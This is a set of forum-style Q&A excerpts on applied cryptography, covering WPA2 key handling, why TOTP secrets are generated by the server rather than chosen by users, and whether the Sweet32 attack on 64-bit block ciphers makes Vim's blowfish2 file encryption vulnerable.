Note that I am assuming WPA2 is configured to use CCMP which uses AES128 in CCM mode, rather than the broken TKIP which uses the much weaker RC4 stream cipher.
* It is slightly more complicated than this. The PSK is not directly plugged into the cipher after going through PBKDF2. Instead, a 4-way handshake is done which relies on the secrecy of the PSK. It suffices to say that knowledge of the PSK allows anyone who has captured traffic (including the 4-way handshake) to decrypt the session.
† Integer factorization is an open problem in mathematics. It is possible that a classical algorithm will be discovered that can factor a large semiprime in polynomial time. Additionally, quantum computers running Shor's algorithm will do this in polynomial time. There are no publicly known cryptoanalytic quantum computers in production.


Is it a bad idea to have the user choose the TOTP secret instead of generating it automatically? Reading about TOTP-based authentication systems that use smartphones as one-time code generators, I seem to understand that typically the shared secret is generated automatically by the "server" (the system to which the user must authenticate), then encoded in Base32 or other encoding that results in "human readable" characters only, and then the user enters that secret in his/her smartphone app that will be used to generate the one-time codes. Often the server-generated secret is encoded into a QR code to be scanned with the phone to make it easier for the user to enter the secret into the app.

Assuming that it is true that the above is a typical configuration (which I'm not sure about), I am wondering what would be the disadvantages of making the user choose the shared secret and communicate it to the server to be stored, instead of the other way around.

That is, the user would create the shared secret and save it both into his/her smartphone app and into the server, and the server would use such secret as is (I mean without considering it as encoded).
Or, the user would create the secret and encode it into Base32 before saving it into the server, and the server would consider it as encoded.

Since in my understanding none of these two cases is how a typical TOTP system works, I am sure that there are reasons why the user is not made choose the shared secret, and I would like to know them.

ADDED: I got quite a bit of info here that clarified a lot of my doubts. But I still have a doubt. As I understood, much of the point of two-factor authentication is to combine something you know (your regular password) and something you have (the code-generating device), but the device can be a common smartphone and it becomes the code-generating device only thanks to the user entering the secret into it (it doesn't matter how, QR code or keyboard or other, it's still a piece of info the user needs to know and that is all it takes). I wouldn't know what to reply to someone claiming "the secret is something you know or have just as much as the password is".

In other words, I do understand how the code-generating device that the bank gives to the user to login is something the user has and not something the user knows, and that's because that device had the secret set into it before being given to the user, so the user doesn't know the secret, so if the user successfully authenticates it means that it was actually the person who physically had the device.
But if the device is a common smartphone instead, where the user itself is supposed to enter the secret (f.ex. via QR code) then a successful authentication only means that it was someone who knew the secret and had entered it into his/her smartphone.

A better question would be: why would you do that?

When you develop an authentication protocol, you control all the variables. This means you can ensure, for instance, that the RNG you use is secure, that you're not reusing an existing secret and that you aren't picking a "weak" key.  Plus, you don't have the problem of relying on a secure side channel for retrieving the secret from the user.

When you allow the user to generate their secrets, you throw all that away.

The only historical advantage of having users select their own secret is that they can commit them to their memory and not rely on (potentially insecure) local storage. In case of TOTP, you don't even have that advantage: your users needs to rely on some form of software to obtain the current code (which is the point of 2FA: force the user to have access to "something they have" in addition to "something they know").

So, yes, it's not too good an idea.


Sweet 32: Which applications we consider vulnerable? Backgound

There is a lot of hype about the Sweet 32 paper in the recent days.  The paper shows that 64bit block size symmetric cyphers are too vulnerable today, it performs a birthday attack on blowfish2 in two days.

The point of the paper is that only 785GBs of traffic are used (over HTTP, only 32GB of cyphertext traffic is needed, the rest is HTTP bloat).  That amount data is not much with today's transfer speeds and data usage.

It also argues that OpenVPN uses blowfish by default, and also Triple-DES (another 64bit block size cypher) is used as a legacy fallback in some browsers.

VPN and browsers certainly carry a lot of data, and a lot of personal data within that, and are certainly vulnerable to the attack.  Moreover, we can definitely consider that, since users use VPNs and browsers without knowing much about encryption, the applications are actively (not sure if i'm using the correct word) vulnerable.

That's all well defined but what about other, less popular and different (in terms of how they work) applications.  See the question:

Question

Vim (arguably one of the most popular editors around) uses blowfish2 as the main algorithm to read and write encrypted files.  It practically uses only blowfish2 (it can use blowfish or pkzip but those are are just plain bad).

With Vim you do not send several gigabytes of files over an unprotected network, moreover, with Vim it would be rare that you would use the same key for several files.  Although someone that is on the same machine as you are may have access to several gigabytes of your encrypted files (but then it is more a question of permissions, I believe).

The issue has been booming on the Vim github and mailing list.  Yet, it put me in doubt about the main difference between a browser and an application like Vim: a browser will use encryption behind the scenes without telling the user, in Vim the encryption must be configured actively by the user.

An user aware of problems with blowfish2 can simply use vim-gnupg to encrypt his files.  Therefore it is hard for me to believe that the sweet32 publication makes Vim actively vulnerable.  It would be great to fix it in Vim alright, but arguing that it is a huge issue is not really true.

In general, the question in all this context is:

Can an application that allows users to configure it to use a vulnerable encryption method be considered actively vulnerable?  (given that there are alternatives)

You need to take into account that there is a difference between disk/file encryption and network encryption. The paper talks primarily about streams of information thus networks. As you mentioned briefly, much of the transmitted data actually is HTTP related stuff, and that is an important part of the attack.

The 64bit ciphers are not actually broken (ignore crypto definition for the moment), but more weakened to a point they become vulnerable, and so leave a good to far chance they could be converted back to plaintext with modern hardware (or at least some pieces).

In order to do this, you need lots of information to detect specific patterns. Those patterns will only emerge in large volumes of repeated data, and luckily this is often the case with networks. HTTP is a great example, although keeping a connection alive long enough to capture all the data, without missing packets or encounter malformed frames is rather difficult over the internet. In a lab the circumstances are ideal, which makes this exploit work.

To answer your question, applications such as Vim use blowfish for file encryption, which stores data only once (or multiple times, but not repeatedly). This limits the chance of being broken significantly. Don't think file encryption that uses 64bit block ciphers is problem-free, which is why the advise is to omit 64bit ciphers all togehter. For OpenVPN, this does not leave much cipher suites to pick from, but change is coming..